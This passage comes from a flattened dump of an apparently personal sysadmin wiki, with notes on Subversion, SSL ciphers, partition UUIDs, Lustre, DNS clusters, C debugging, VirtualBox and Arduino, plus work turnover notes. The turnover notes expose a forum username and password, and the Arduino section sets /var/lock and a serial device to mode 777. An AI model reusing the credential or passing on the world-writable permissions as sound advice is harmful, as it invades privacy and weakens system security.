timelordz com root destination server callandor # cd srv svn repos callandor srv svn repos # mv root scripts_svn dump callandor srv svn repos # svnadmin create esnetscripts callandor srv svn repos # svnadmin load esnetscripts see this guide ignore files ignore files ignore files see this post and this one  reverting to previous version  to revert your whole code base to a previous version see this post websvn websvn websvn websvn is a super great web interface to subversion very simple setup is described here if you have a working subverison install this will likely only take minutes to set up subclipse subclipse subclipse commands commands commands create the repo for first use cd fileserver data svn repos svnadmin create phpclass chown -r apache apache phpclass to import a project into the repo svn import phpclass -m phpclass repo this would contain the directories branches tags trunk alternativley you could specify the file such as root wiki svn esnet com # svn import esnettools file var www vhosts svn esnet com projects -m project creation primary subversion config file is etc httpd conf d subversion conf version control commands version control commands version control commands svn list --verbose  adding new files and directories - svn add  when you add a new file or directory to a project that has been checked out you must tell subversion to include that file or directory in its version control unix svn add file_or_dir_name adding a directory will add the directory and all the files and directories in it however this does not add the file or directory to the repository you must still issue a commit to update the repository if there are various files in the directory which are un-versioned and some which are you can add the un-versioned with svn st grep awk print 2 xargs svn add 1  committing changes - svn commit  once you have added deleted or changed files or directories you can then commit those changes to the repository this command is pretty straightforward network svn commit -m saving recent changes svn commit no url - will post to the last url pulled from updating your local files - svn update  update local files  if you have a set of files checked out and would like to update them to the most recent version of files in the repository use the update command network svn update if there are newer files in the repository they will overwrite any files you have locally before using this command you may want to use the svn diff command to find out  version log  svn info svn list svn log svn log -r 5 19 # shows logs 5 through 19 in chronological order svn log -r 19 5 # shows logs 5 through 19 in reverse order svn log -r 8 # shows log for revision 8 eclipse subclipse eclipse subclipse eclipse subclipse a good tutorial on using subversion with eclipse with the subclipse pluin can be found here there are more tutorials on this site on eclipse in general and other topic here subversion and web site security subversion and web site security subversion and web site security if you develop a site with subversion ensure that when pushed to the production server you remove the svn folder or block access to it this folder and svn text-base contain all the files of the site such as php config files with passwords etc here is a good blog post showing this and giving a method of blocking it with htaccess # disallow browsing of subversion working copy administrative dirs order deny allow deny from all troubleshooting troubleshooting troubleshooting error options of \' \' 200 ok see this post - you most likely have the wrong url or perhaps an extra in your repo config error an error occurred while committing the transaction 409 #200031 in the case check the ownership and permissions of svn repopath db rep-cache db and ensure it is writable by the web user '),(232,'ssl certificates','  general ssl vhost configuration   check cert command line  a great ssl command line reference is here checking ssl certificate expiration in the command line with openssl is here for example openssl x509 -in mysite crt -noout -text  weak ciphers  here is a good site on pci scans which fail due to sslv2 or weak ciphers you can enforce sslv3 and disable weak ciphers by specifying to verify weak ciphers are disabled test with openssl paracelsus serenity openssl s_client -connect 192 168 2 1 443 -cipher low exp connected 00000003 5922 error 140790e5 ssl routines ssl23_write ssl handshake failure s23_lib c 188 you can modify your apache ssl conf to adjust which ssl versions are accepted and cipher strengths adding \' \' will deactivate an option for example sslciphersuite all adh export56 rc4 rsa high medium low sslv2 exp enull  squid disable weak ciphers  sample squid config with sslv3 and weak ciphers disabled https_port 192 168 2 1 443 cert var www production certs multi-domain multi-domain crt key var www production certs multi-domain multi-domain key cafile var www production certs multi-domain multi-domain ca-bundle options no_sslv2 accel vhost cipher all anull enull low exp adh rc4 rsa high medium sslv2 i found this site to be helpful on squid config  suse notes  http www suseblog com opensuse-linux-103-signing-self-generated-ssl-certificates-as-your-own-certificate-authority here is a full tutorial on generating ssls in suse gensslcert will create a cert with command line options fed to it it then by default places it in creating ca request certificate etc apache2 ssl crt ca crt\' - srv www htdocs ca crt\'  cpanel issues   error ssl error rx record too long error you may need to completely remove the ssl host and then add it again see http forums cpanel net f5 error-ssl_error_rx_record_too_long-when-accessing-default-ssl-page-105385 html this article and http forums cpanel net f34 ssl-woes-148369 html this one  other ssl notes  make sure you also install the crt file for the certificate chain if needed add the line in the vhost to point to this crt too or it will not work '),(233,'partition names with uuid e2label and block device names',' methods to reference partitions there are three primary methods of specifying device names in fstab each has some benefits are draw backs logical block device names dev sda1 this is the non-persistent method and is being phased out why is this method bad read this article for a great description but basically the order block devices are detected can change and depending on what driver you are using the names can go from hdx to sdx even for pata devices the libata driver names all hard drives sdx so if you move to using this driver references to hdx will be broken persistent naming conventions uuid 76845c4d-077c-4380-9b7a-8f689aab51f4 e2lable names home mydisk whatever note partitions can also be referenced by-id and by-path but these are not recommended for use as persistent names see the same articel referenced above tools tools tools here are some commands for listing the names and uuids of attached volumes a great article on this is here root anduril # blkid dev sda1 uuid 76845c4d-077c-4380-9b7a-8f689aab51f4 sec_type ext2 type ext3 label dev sda5 type swap uuid 6cdc3fec-ce3b-460a-963f-2d108da4e41d root anduril # vol_id --uuid dev sda1 76845c4d-077c-4380-9b7a-8f689aab51f4 root anduril # e2label dev sda1 root anduril # ls -l dev disk by-uuid total 0 lrwxrwxrwx 1 root root 10 2009-09-07 06 57 6cdc3fec-ce3b-460a-963f-2d108da4e41d - sda5 lrwxrwxrwx 1 root root 10 2009-09-07 06 57 76845c4d-077c-4380-9b7a-8f689aab51f4 - sda1 the volume name can be changed with e2label or tun2fs raid raid raid the section below was take from a post by jwbaker found here unfortunately you must not use uuid in etc fstab if you use software raid1 why because the raid volume itself and the first element of the mirror will appear to have the same filesystem uuid if the mirror breaks or for any other reason the md device isn\'t started at boot the system will mount any random underlying disk instead clobbering your mirror then you\'ll need a full resync bad juju to illustrate my point # blkid dev sda1 uuid d08379e4-1301-4c20-a616-95bee451bc09 sec_type ext2 type ext3 dev sda3 uuid cbb7ee43-e63f-435b-a6e1-3f6108dad104 sec_type ext2 type ext3 dev sdb1 uuid d08379e4-1301-4c20-a616-95bee451bc09 sec_type ext2 type ext3 dev sdb3 uuid cbb7ee43-e63f-435b-a6e1-3f6108dad104 sec_type ext2 type ext3 dev md0 uuid d08379e4-1301-4c20-a616-95bee451bc09 sec_type ext2 type ext3 dev md2 uuid cbb7ee43-e63f-435b-a6e1-3f6108dad104 sec_type ext2 type ext3 '),(234,'lustre distributed file system',' intro intro intro the luster administration manual is 500 pages and while filled with great info and very complete it is a bit daunting to do a quick set up following these steps you should be able to get a test cluster up in a very short period of time note i have since found this quick start blueprint which is extremely helpful too bad i didn\'t find this before i had to figure most of this out general information is also available at the main site where this good faq can also be found mailing list lust3r4m3669337 setting up a lustre cluster setting up a lustre cluster setting up a lustre cluster temp cluster our temporary luster cluster is currently in dc1 3 4 on these ips 207 150 181 10 - mds 207 150 181 12 - oss1 207 150 181 14 - oss2 a simple scenario will consist of 3 server 1 management data server mds and 2 object storage servers oss all three will have centos 5 3 in the future we might try this config and add the mds and oss partitions rather than using entire drives as devices this way we can run software raid 1 on the nodes we also have to look yet at configuring high availability ha services through heartbeat and configuring the oss nodes using the failover options supported by luster mds software raid 1 20gb swap 2gb mds remaining oss software raid 1 20gb swap 2gb oss remaining  installing lustre  setup script i made a script to automatically install all the rpms needed on the mds and oss nodes to connect from a client to the lustre cluster see the section below create the file systems on the nodes on the mgs server # mkfs lustre --fsname lustre --mgs --mdt dev sdb # mount -t lustre dev sdb lustre on each oss server # mkfs lustre --ost --fsname lustre --mgsnode 207 150 181 10 tcp0 dev sdb #mount -t lustre dev sdb lustre now you can access this using from a client for example from a centos client you will need these installed on the client root cobbler lustre # rpm -qa grep lustre lustre-client-1 8 1-2 6 18_128 1 14 el5_lustre 1 8 1 lustre-client-modules-1 8 1-2 6 18_128 1 14 el5_lustre 1 8 1 lustre-modules-1 8 1-2 6 18_128 1 14 el5_lustre 1 8 1 kernel-lustre-2 6 18-128 1 14 el5_lustre 1 8 1 you can then mount the target with root cobbler # mount -t lustre 207 150 181 10 lustre lustre and it will show up such as root cobbler lustre # df -h 207 150 181 10 lustre 147g 460m 139g 1 lustre or see the oss mounts in the pool with root cobbler lustre # lfs df -h uuid bytes used available use mounted on lustre-mdt0000_uuid 130 4g 459 6m 122 5g 0 lustre mdt 0 lustre-ost0000_uuid 146 7g 1 4g 137 8g 0 lustre ost 0 lustre-ost0001_uuid 146 7g 459 6m 138 8g 0 lustre ost 1 filesystem summary 293 3g 1 9g 276 6g 0 lustre managing lustre managing lustre managing lustre please see the quickstart blueprint for an introduction to basic managment commands  stopping starting storage nodes   root 10-0-0-1 # lctl dl 0 up mgs mgs mgs 11 1 up mgc mgc207 150 181 10 tcp 286db1cc-9673-0e98-2a46-62f221910298 5 2 up mdt mds mds_uuid 3 3 up lov lustre-mdtlov lustre-mdtlov_uuid 4 4 up mds lustre-mdt0000 lustre-mdt0000_uuid 5 5 up osc lustre-ost0000-osc lustre-mdtlov_uuid 5 6 up osc lustre-ost0001-osc lustre-mdtlov_uuid 5 to deactivate the second oss server you would use root 10-0-0-1 # lctl dl --device 6 deactivate  monitoring striping  see the using strips section of the quick start guide to view and modify how data is striped across oss nodes root cobbler lustre # lfs getstripe lustre 10megtest file monitoring file system useage monitoring file system useage monitoring file system useage this project uses snmp to monitor filesystem usage and support lustre ubuntu client ubuntu client ubuntu client hummm does not look good there are some lustre thins in repos but not the unpatched client might have to build from lustre-source pkg i could not get the module to build correctly not sure why configure fails saying it is unable to build modules at all archimedes anduril sudo apt-get install lustre-utils lustre-source liblustre you will also need to have linux-headers-x y z for your kernel installed then build the module using module-assistant archimedes anduril sudo module-assistant the assistant will install any needed build essential tools then use select select module or source package to work on find the lustre module and proceed with building it to not use module-assistant look in usr src modules lustre for the source file and configure and build manually compiling patchless client from source red hat compiling patchless client from source red hat compiling patchless client from source red hat to compile a patchless client from source '),(235,'name server clusters',' piranha gui you can view the load balancer status by logging into piranha however to restart named or fail over the ha service you must do so via ssh or at the console piranha is accessible on the two cache resolvers at or resovler02 credentials user pass the password can be re set using piranha-passwd access is restricted only to 10 0 201 ips controlled via htaccess files located in both etc sysconfig ha web etc sysconfig ha web secure piranha is started via its init script etc init d piranha-gui and does not require another instance of apache to run as it runs its own on port 3636 dnstop dnstop dnstop a wonderful tool for monitoring dns queries dnstop is installed on all our nameserver it is easy to use one hint if you created a pcap dump of netwrok traffic you can read it using dnstop - which can be pretty handy or just run dnstop live and view the current requests being made create a dump of traffic tcpdump -w out cap only run for a while - this will get giganotosaurus fast read it in dnstop dnstop -l9 out cap you can then also read in the tcpdump file into wireshark for further analysis to see what ips are making what types of dns queries etc load balancer load balancer load balancer this section needs more added the general status of load balancing and distribution of requests can be viewed in piranha or with the ipvsadm command load balancing between the name servers is accomplished via lvs linux virtual server which provides ha services though the interaction of several services the pulse service will monitor if the other members are up so for example if cache01 is acting as the primary and you stop pulse on it then cache02 will then become the primary etc dns troubleshooting tools dns troubleshooting tools dns troubleshooting tools add more here like how to use dig dig trace whois dnstop host mtr etc bug in rhel 5 named bug in rhel 5 named bug in rhel 5 named we were seeing issues where named would crash at random intervals the logs would show root cache-resolver01 web # grep named var log messages grep -b1 assertion oct 12 12 52 16 cache-resolver01 named 1882 socket c 1649 insist sock- pending_recv failed oct 12 12 52 16 cache-resolver01 named 1882 exiting due to assertion failure i traced it down to this known red hat https bugzilla redhat com show_bug cgi id 455802 named bug and which is outlined in more detail in the rhel 5 http rhn redhat com errata rhba-2009-1420 html errata the solution was to update our named packages to the current patched version i wrote a script to help do this on our name servers which downloads and installs the required rpms while repacking the old one - just in case the script is http ks sagonet com tools bind9 3 6 updatebind sh here lvs config lvs config lvs config getting the virtual ips configured for lvs can be a bit tricky this section needs to be completed to show how to do so '),(236,'c programming basics',' books books books a completed version of the c book is available here the entire contents of an introduction to gcc by brian gough published by network theory ltd is available on line and appear to have excellent content also available is the definitive guide to gcc by william von hagen which is available on google books here linux programming by example the fundamentals by arnold robbins published apr 12 2004 by prentice hall also appears excellent another excellent on-line resource is here this howto for programmers discusses how to create and use program libraries on linux this includes static libraries shared libraries and dynamically loaded libraries a good site with a bit of debugging gcc and assembly stuff is also in the freebsd developers handbook common mistakes common mistakes common mistakes initialize variable before using in expressions catch these by compiling with -wuninitialized note that wall does not catch these it seems g -wuninitialized -o -ansi -o uninitvar2 uninitvar2 cpp  variable scope  variables have scope in the  statement block  in which they are initialized not throughout the entire  function  in which they are initialized  comparing c-strings  string1 string2 compares the memory address of these two strings which will always evaluate to false thus use strcmp string1 string2 stream objects stream objects stream objects once you set define setprecision and showpoint for cout it will remain in effect if you want to get rid of this output formatting you use either of these cout 40 1 5 1;  logical not  you can use to invert if else clauses and cause them to be flipped easier than recoding them if you need to simply swap them e g if score 100 will cause the first part of the if statement normally executed to be skipped and the  else  clause to run if score is 90 also is often used with strcmp to test equality the following statements are equivalent if strcmp thing1 thing2 0 if strcmp thing1 thing2 in the second 0 is returned by strcmp if they are identicle this is then inverted to 1 to make the statement logically true memory management memory management memory management a good article on using pmap to analyze memory usage of a running application can be found here here is a slide show introduction to memory management and pointers in c for security reasons it is not possible to directly read memory addresses here is a good article on user space memory management tools in linux from the book  linux programming by example the fundamentals  floating points and iee 754 floating points and iee 754 floating points and iee 754 values are stored in memory following ieee 754 standards in e notation you can have instances were this might return unexpected results for example in the following y 5 and x is uninitialized x was created with the default uninitialized value of 4 88005e-270 the value of x y 5 is 1 22001e-268 the value of x y 5 is 25 in the first multiplication result the product is all small and thus returned with full precision in e notation the second result rather than being 25 e 278 4 is because the int value can not hold  both  the value 25 and the value 4 e-269 so only 25 is returned in other words the memory address of x can not contain both 25  and  4 -e278 in the ieee 754 standards article mr hollasch presents a bitwise breakdown of storing values in 32 and 64 bits and how the maximum values of ints and floats is determined in particular the section on precision is quite informative makefile automake etc makefile automake etc makefile automake etc first you have your basic http www delorie com djgpp doc ug larger makefiles html makefile further described here and yet another tutorial http www opussoftware com tutorial tutmakefile htm here beyond that you have autoconf and automake which are fully described in this excellent http sources redhat com autobook on-line book debugging gdb debugging gdb debugging gdb there are several graphical front ends available for gdb summarized here  super good guide to gdb  a fantastic guide to gdb can be found here this chapter shows the stack frame visually with some intro gdb commands too here is a great intro guide to using gdb on a sample program a more extended guide to debugging with gdb can be found at and at you need to compile with debugging info built in for example g -ggdb -o datatypes datatypes cpp note using just -g may not be sufficient with g then you can invoke the debugger  useful gdb commands   info source what source file is being used list list list main etc list lines from specified section function etc break 21 break my_function set breakpoint cont continue print variable display variable value etc frame 0 switch to frame 0 info locals prints out all local variable in the current frame whatis variable shows data type of variable examine the data type and offset location of variable named product gdb whatis product type double gdb p &product 10 double 0xbfffecc0 forum thread on offsets etc  more gdb tips   printing the range of values in an array including hex dumps of the values finding physical to virtual memory address location '),(237,'occult wicca college',' ellwood bunky bartlett in 2007 won the lottery and stated he wanted to open a wiccan seminary which would offer a variety of classes in both occultism and vocational training the name of his organization is some interviews from 2007 describing his plans '),(238,'xrandr display configuration',' xrandr -q xrandr --auto --output default --rotate left --mode 1050x1680 xrandr --newmode 1050x1680_60 146 00 1680 1784 1960 2240 1050 1053 1059 1089 xrandr --auto --output default --rotate left '),(239,'arcanum','  ultimate edition   see the ultima readme txt readme txt patchreadme txt and unofficial arcanum patch txt files for info ultimate edition includes the no cd patch the last official patch the unofficial community patch hi-res support and numerous other fixes it also includes the module builder and original booklet and instruction  installed in   default ultimate install crossover games cxgames arcanum drive_c program files midgetreaper arcanum ultima arcanum  to reconfigure game resolution   cxgames bin wine setup-highres exe --nogame note highres bat just runs the above exe and switch but the bat does not run well under wind if you get this error error error loading arcanum exe stopping installation because of error error installing arcanum high resolution patch rolling back to previous state will uninstall 0 files for setup-highres tp2 component 0 uninstalled 0 files for setup-highres tp2 component 0 error unix unix_error 20 stat arcanum exe please email the file setup-highres debug to drogblacktooth hotmail com then make sure the arcanum exe has not been move or renamed check in highres backup 0  to start the game   opt cxgames bin wine --bottle arcanum2 arcanum exe -no3d -doublebuffer cxgames bin wine --cx-app arcanum exe -no3d -doublebuffer cxgames bin cxstart arcanum exe cxgames bin wine arcanum exe -no3d -doublebuffer -scrollfps 50 if you start in from within crossover you will be presented with the ultimate edition loader screen which has a few options you can also get the launch menu just by running opt cxgames bin wine --bottle arcanum2 menu exe  frame rate 3d support   wine requires the -no3d switch without which there is mouse pointer and misc screen graphics corruption too bad as the frame rate is way better with 3d however even with -no3d once the game is started and past the initial cinematics it runs pretty well and is playable on a p4 2 4  crossover errors   wine error multiple matches found for \'arcanum exe\' in \' home paracelsus cxgames arcanum drive_c\' this results when the hi-res patch makes a backup of the exe file when modifying it delete the backups in highres backup 1 arcanum exe etc '),(240,'airship pilotage',' still waiting for my moller sky car  medical examiner  frederick w campbell jr md 3000 e fletcher ave ste 120 tampa florida 33613  light sport aircraft  '),(241,'keyboard configuration',' sometimes getting fancy multimedia keyboards to work under linux can be a bit tricky basic functionality is usually not the issue but getting all the media and function keys to work is sometimes a bit challenging here are a few resources i have found to assist general keyboard config apps general keyboard config apps general keyboard config apps there are some pretty polished apps out there these days for configuring keyboards under linux these two applications both look quite good at supporting a large number of keyboards and mice from a wide variety of manufacturers check out their compatibility lists to see if the hardware works with your distro version and kernel hidpoint has a very nice gui to it and allows for extremely easy configuration and keytouch over at sourceforge also looks quite good btnx is yet another config tool though there may be compatibility issues with newer kernels compile it yourself many additional comments on btnx can be found here additional comments on newer kernel compatibility are on this thread logitech cordless wave logitech cordless wave logitech cordless wave some chaps over at the ubuntu launchpad bug site worked out the udev rules and keymaps necessary for both the corded and cordless versions of the wave you can find these files here - the download links are listed as bug report attachments these should work on a good number of distros not just ubuntu though you may have to tweak a bit the k350 appears to be essentially the same but uses the unifying receiver - not sure if the same keymaps above will work on it too logitech g15 logitech g15 logitech g15 there are tools to get the lcd screen working under linux available from the g15 deamon sourceforge project you can direct standard output to it and there are some apps written to tail files to it a mini sized top monitor etc creative uses await in gnome i believe you can select this specific keyboard in preferences and choose to use the g15 daemon nice other config stuff other config stuff other config stuff handy list of kde gnome hotkeys '),(242,'pascals triangle',' pascal pascal\'s triangle is pretty nifty a simple number sequence arranged in a triangle and from which are derived many curious things within the rows you find the sequence of integers the fibonacci sequence and other interesting things such as the quincunx the quincunx is a very interesting example of probability pascal pascal\'s triangle and standard distribution this link has a simulator you can run which will drop marbles onto a quincunx and demonstrate the results obtained and more fun with this '),(243,'virtualbox tips','  mounting share  paracelsus kubuntu-pete sudo mount -t vboxsf kubuntu home paracelsus share sudo password for paracelsus sbin mount vboxsf mounting failed with the error protocol error paracelsus kubuntu-pete sudo mount -t vboxsf kubuntu home paracelsus share paracelsus kubuntu-pete ls home paracelsus share  converting vmware images  there are several ways to convert between vmware and virtualbox format images this article lists gives two with a few more given in the comments as well in particular see the vboxmanage command line tool suggestion for example vboxmanage clonehd clone vmdk clone vdi -format vdi  remaking kernel module  after a kernel update you will need to remake the kernel module by running as root etc init d vboxdrv setup  cloning a vm  note if your etc fstab and boot grub menu 1st are using uuids for the partitions you should change these to dev sdax or update the entries to the correct uuids when the drives attach to the new vm they will be assigned new uuids but the files will have the old values resulting in a waiting for device uuid to appear message you can discover the new uuid with blkid also you should be able to temporarily boot the new vm by editing the kernel entry in the grub command line when you first boot - for example making it show root sda1 see here and here for more information each vm disk has a uuid so you must use one of the following methods vboxmanage clonehd source vdi destination vdi vboxmanage internalcommands setvdiuuid myvm vdi or sethduuid vboxmanage showhdinfo myvm vdi more information on cloning and snapshot integration can be found at  moving a vdi new host machine   ssh via nat  you can just use bridged networking of course and not nat but if using nat then this is pretty cool if using nat on the guest os you can configure it to port forward a specified port on the host to port 22 on the guest then just ssh to the localhost port on the host see this great article describing this procedure example vboxmanage setextradata suse11 3-dev vboxinternal devices e1000 0 lun#0 config ssh hostport 2222 vboxmanage setextradata suse11 3-dev vboxinternal devices e1000 0 lun#0 config ssh guestport 22 vboxmanage setextradata suse11 3-dev vboxinternal devices e1000 0 lun#0 config ssh protocol tcp to see the settings vboxmanage getextradata suse11 3-dev enumerate if you get an error like failed to get the mac value verr_cfgm_value_not_found this mean you specified the wrong nic type e1000 pcnet etc to find the correct one right click on the guest and view the log - look for mac and find the network card identified there note if you specified the incorrect nic the first time you have to issue the vboxmange commands again with no arguments to clear remove then issue them again with the correct nic don\'t just update the guest guest\'s config xml file and update it there as this will be overwritten with the settings you made using vboxmanage '),(244,'samsung hdtv',' official samsung ln46b640 spec site and for the b650 see here official samsung opensource resources samygo wiki samygo extensions firmware upgrade via redirection mediatomb upnp server '),(245,'arduino',' arduino microcontroller programming for anyone the official arduino site is here some awesome getting started projects written in a very fun and approachable style are at the adafruit site she they also sell components etc awesome site a few more tutorials can be found at the hacktronics site another great site is curiousinventor oh what fun to be had and then there is the hackmod top 40 arduino projects and here is a free arduino book with even more projects once you install avr-libc below you can also see it it\'s great documentation located somewhere like file usr share doc packages avr-libc user-manual-1 6 2 index html also note there are man pages for many of the functions in this library the forums at hacktronics and adafruit are also pretty great  things like arduino  there are lots of other products like the arduino which i\'ll add here parallax has some cool controllers including the propeller - an 8 core 32 bit one as well as some basic robotics kits maker shed has a variety of cool projects instructables is also a source of cool project ideas  arduino software  in addition to java the arduino software requires packages like  ubuntu   sudo apt-get install gcc-avr avr-libc  suse   see this page here for more zypper install java-1 5 0-sun cross-avr-gcc cross-avr-binutils avr-libc modprobe ftdi_sio modprobe usbserial note if using an arduino atmega328p you have to use cross-avr-gcc43 or higher if you use cross-avr-gcc44 from the suse build server it will actually uninstall avr-libc you can either download and force install a version that will work or download an install cross-avr-gcc43 even if your programs compile you will not be able to sync with the arduino atmega328p unless you are using a later version of cross-avr-gcc set some permissions callandor # ls -ld var lock drwxrwxr-t 8 root uucp 4096 mar 26 11 52 var lock callandor # chmod 777 var lock callandor # ls -ld var lock drwxrwxrwx 8 root uucp 4096 mar 26 11 52 var lock callandor # ls -ld dev ttyusb0 crw-rw---- 1 root dialout 188 0 apr 2 00 29 dev ttyusb0 callandor # chmod 777 dev ttyusb0 callandor # ls -ld dev ttyusb0 crwxrwxrwx 1 root dialout 188 0 apr 2 00 29 dev ttyusb0 set symlinks per the suse article above and also add ln -s opt cross bin avrdude avrdude ensure you have libusb-0_1-4 installed if you have brltty installed remove it as it may conflict with arduino  opensolaris  here are some great reference on getting arduino to work on opensolaris from the above site the device drivers needed to communicate with the board were integrated in build 113 so you\'ll need to be running that build or later if you are running an earlier build you will need to the above came from the arduino forum here '),(246,'ethtool interface tweaking',' ethtool allows for various characteristics of the network interface to be modified it is also capable of providing a high degree of information about the interface and in some cases can even flash the firmware dropped scp rsync issues dropped scp rsync issues dropped scp rsync issues this appears to be most common on debian boxes the symptoms are that when transferring files via scp the connection is interrupted with an error such as mystuff tar gz 57 1773mb 11 1mb s 01 56 etareceived disconnect from 118 115 74 10 2 corrupted mac on input lost connection this can be remedied by tweaking the tcp offload with blah backup# ethtool -k eth0 rx off blah backup# ethtool -k eth0 tx off blah backup# ethtool -k eth0 tso off these can be added to rc local to run at boot time more info can be found at '),(247,'graphical debugging tools',' there are a number of different graphical front ends for gdb here are some links for some of the most popular graphical debugging tools graphical debugging tools graphical debugging tools  curses mode for gdb   you can also go into tui text user interface mode while in gdb by using the \'-\' command returning to the command prompt is ctrl-x ctrl-a while in tui mode up down left and right move through the source use ctrl-p ctrl-n ctrl-f and ctrl-b to navigate in the command line history  ddd  gnu ddd is a graphical front-end for command-line debuggers such as gdb dbx wdb ladebug jdb xdb the perl debugger the bash debugger bashdb the gnu make debugger remake or the python debugger pydb besides usual  front-end features such as viewing source texts ddd has become famous through its interactive graphical data display where data structures are displayed as graphs beginning tutorial for ddd  eclipse cdt debugging    kde   kdbg - kde debug interface for kde seprate from the entire kdevelope suite  insight gdb graphical front end red hat cygnus systems project    gps   gdb under windows visual studio  '),(248,'sago turnover notes',' scroll right  scientia perscribo posteri   knowledge written for those  who follow or  ytmnd  here are notes of various servers and areas which i have principally overseen while here at sago many of these areas are fully documented elsewhere on this wiki and links to such are given where appropriate this is a quick stop index of these as as all providing additional information where appropriate smart test smart test smart test the bash script we use to test drives with is fairly self explanatory however additional information the the database server which holds the results of tests run may be found at smart_testing_script_and_database the script can be improved we need to define better thresholds of acceptability for scsi and sas drives these store information very differently from the smart attributes of pata sata drives the sdparm utility can provide extensive information on scsi sas drives and this is fruitful field from investigation the existing script can easily be modified to include analysing data for these types of drives pxe cobbler kickstart sago mirrors pxe cobbler kickstart sago mirrors pxe cobbler kickstart sago mirrors everything you could ever want to know is  fully  documented in the following articles you lucky dog pxe_explanation install_network_servers cobbler_pxe_install_manager ocs ocs ocs ocs itself and the ocs inventory agent are well documented at ocsng_inventory_management this script which detects the os and runs the appropriate install steps to set up ocs on a server also contains many notes on how ocs functions note that each machine checks in with the ocs database once per day if for some reason anything ever happens to the ocs database server a new one need only be set up and it will be repopulated with information each day as servers check in again the ocs database often builds up many duplicate entries for example when the hostname is change a duplicate entry with the same ip is created thus it is wise to go through it periodically and merge the duplicates for most distros we use rpm versions or versions from the distro distro\'s repositories whenever possible fedora and ubuntu have the newer versions in their repos and are thus extremely easy to set up and the install script takes advantage of this  building standalone ocs binary centos 4 x  one key thing to know is that for centos 4 x we use a specially compiled standalone binary version of the agent ocsinventory-agent bin which is about 4 mb in size this is needed due to cpanel cpanel\'s changes to perl modules affecting the agent and preventing it from running the compiled version includes all the perl dependencies build in this same compiled version may come in handy in other similar instances as well making a compiled version is outlined on ocs forums and wiki but is not the easiest of tasks in fact the last reference discourages it in our case this was required should you ever need to build another you can reference the bash history for the first and second runs i made doing so you may also troll the forums for standalone binary please note that ocsng_unix_agent-1 02 tar gz unpacks as ocsinventory-agent-1 0 1 note the version change the magic standalone sh script that builds the stand alone binary is in the tools directory and note that  not all rpm version contain this directory  you may need to get a specific version from remoi remoi\'s repository described later see the above bash histories for more information on how to build the thread on the ocs forum containing my posts when i originally worked out the ocs installer script can be found here my posts were under the name lewstherin pw xjbtiwii there were definitely some finer points on the various versions of ocs some of which did not include etc sysconfig ocsinventory-agent and etc cron hourly ocsinventory-agent config files and tools directory and which were not conducive to use in a kickstart environment remi a primary developer of ocs maintains his own repo which i used to get the proper versions i needed he was very helpful information on his repo can be found here rip linux recover environment rip linux recover environment rip linux recover environment the sago recovery environment is extremely useful it is installed as part of the kickstart install process or may be installed after the specific part of ks which installs this tools is contained in the post_c5 2 php script and the content for this tools is located here if you ever need to modify rip to add options to it etc you can follow the same steps as are used in the ks sagonet com recovery make-recovery-linux sh make-recovery-linux sh script to install the environment on a server which does not have it or reinstall on on one which does simply run this script which will download and rebuild it for you all automatically note this script is copied into root on all new installs when run it sets the ip address and root password to whatever the current ones are on the server to update the root password in rip simply run the install script again the older version rip did not support the drive controllers on the amd boards and some nics the current version does you can upgrade any old versions by simply re-running the installer script in root which will pull the new kernel and initrd and rebuild them then just ensure grub is configured to load the new version and you are set also note the alt-f8 hack is alt-f10 in the recovery environment there is a ton of untapped potential in this tool it has x vnc capabilities etc we can take a lot more advantage of this by directing customers to use this more the bug on this was the ease of getting customers into and out of it once you set grub to boot into rip how do they easily reboot into centos the answer to this is that grub can support a boot-once feature which resolves this splendidly however the packaged grub version used in centos lacks this feature one suggestion is to simply make our own grub rpm and replace the packaged one with ours after the install is complete oh for want of time i\'ve wanted to do this for a year how sour sweet music is when time is broke an no proportion kept phoronix benchmark suite phoronix benchmark suite phoronix benchmark suite we compiled benchmarks on several of our performance servers using phoronix the results of which can be viewed at the sago on-line benchmark pages here i benched most of the performance servers and the dual core amds and bargain xeons the newer amds and dell 1950s r200s etc have not been done you can direct inquiries about server performance to the public facing knowledge base article and our internal wiki article linux_benchmarking_tools has a bit more info as well as the logins for our phoronix account and forums there is a lot more we can do this this and a much improved newer version of phoronix has been released sago labs sago labs sago labs kyle and i set up our personal blogs to have specific categories that we would make posts to regarding interesting public information topics kyle then put a planet aggregator script on the sago web server that would pull the articles from our rss feeds and compile them into labs sagonet com unfortunatly when the sago webserver was migrated to its new home this was broken and the script was not copied over to the new server thus labs sagonet com is not being updated with newer content it would be great to see this revived and should not take much to reimplement then guys who wanted to publish to labs would simply need to add their rss links into the script and their articles would automatically show up on the labs site as they did subversion subversion subversion i have set up a subversion server for all sago techs to use this allows us to have a central place where we can collect together the various scripts and tools we use and work together on it also provides full version control we we always have all prior versions of these scripts etc what a novel idea eh so far it just contains a folder structure and the most recent version of the smarttest script so you can see how it works the idea is to make this the place to find get keep and maintain the many different tools we have currently these live in many places are not really backed up and have no version control you can see the problem one nice thing is that you can look at the source code of any script in the repository in your browser so if you want to learn how certain scripts work then you can just have a look it is a great way to learn use firefox as ie ignores the proper handling of content type plain-text in documents and tries to render them anyway for example if you wanted to look at the source code for the smarttest script it is here you can easily checkout scripts to use them edit them etc it is very simple to do you can also make changes to scripts to modify them and then commit the changed version into the repository here is a cheat sheet on using subversion commands try it check out trunk onto your work station svn co yes it it\'s really that easy sudo apt-get install subversion if needed now - if you want to be like me and take the super duper easy way to use this to its fullest you might consider installing the eclipse development environment you can then very easily install the subclipse plug in which seamlessly integrates using subversion with eclipse - you can do visual diffs between revisions etc it is very very slick eclipse php development tool - i recommend you just get this version subclipse plugin actually you just need to add this url to the install software from box in eclipse if you need any help getting eclipse with subclipse working please just let me know if you have any scripts you want added just email them to me or give me a url to wget from if you have any questions please let me know happy version control commit credentials lustre lustre lustre openmanage impi impi impi abuse tickets compromised server compromised server compromised server high server loads whenever possible i refer customer to this article to both encourage them to take actions themselves to investigate and resolve high load issues this lessens our support costs too there are several tools in this article and usually they will help isolate the primary causes of high load   my web pages are coming up slow   tools i have found very helpful in really digging into this are the apache benchmark ab program there are other as well httperf etc which are well described here you can also look at seige for benching stress testing apache domain ssl renewals domain ssl renewals domain ssl renewals dns troubleshooting  dnsstuff com  our account running a dns report here can identify a good number of common configuration issues  dns training  last year former sago linux master kyle disciple of the order of the holy penguin conducted a dns training session with everyone while we did not make a screen cast kyle had the foresight to save the audio of the conference call and the bash history of the commands we went over etc the training covers dns basics the types of dns servers different types of dns records and how to use dig and other dns commands i highly recommend listening to this especially for the newer guys prior to this training we had techs listen to this podcast to get some general intro do dns transcript at you can find then find the audio and bash history for kyle kyle\'s training at follow along and try the steps as kyle talks about them you can pause the audio and play around with digging other sites too etc 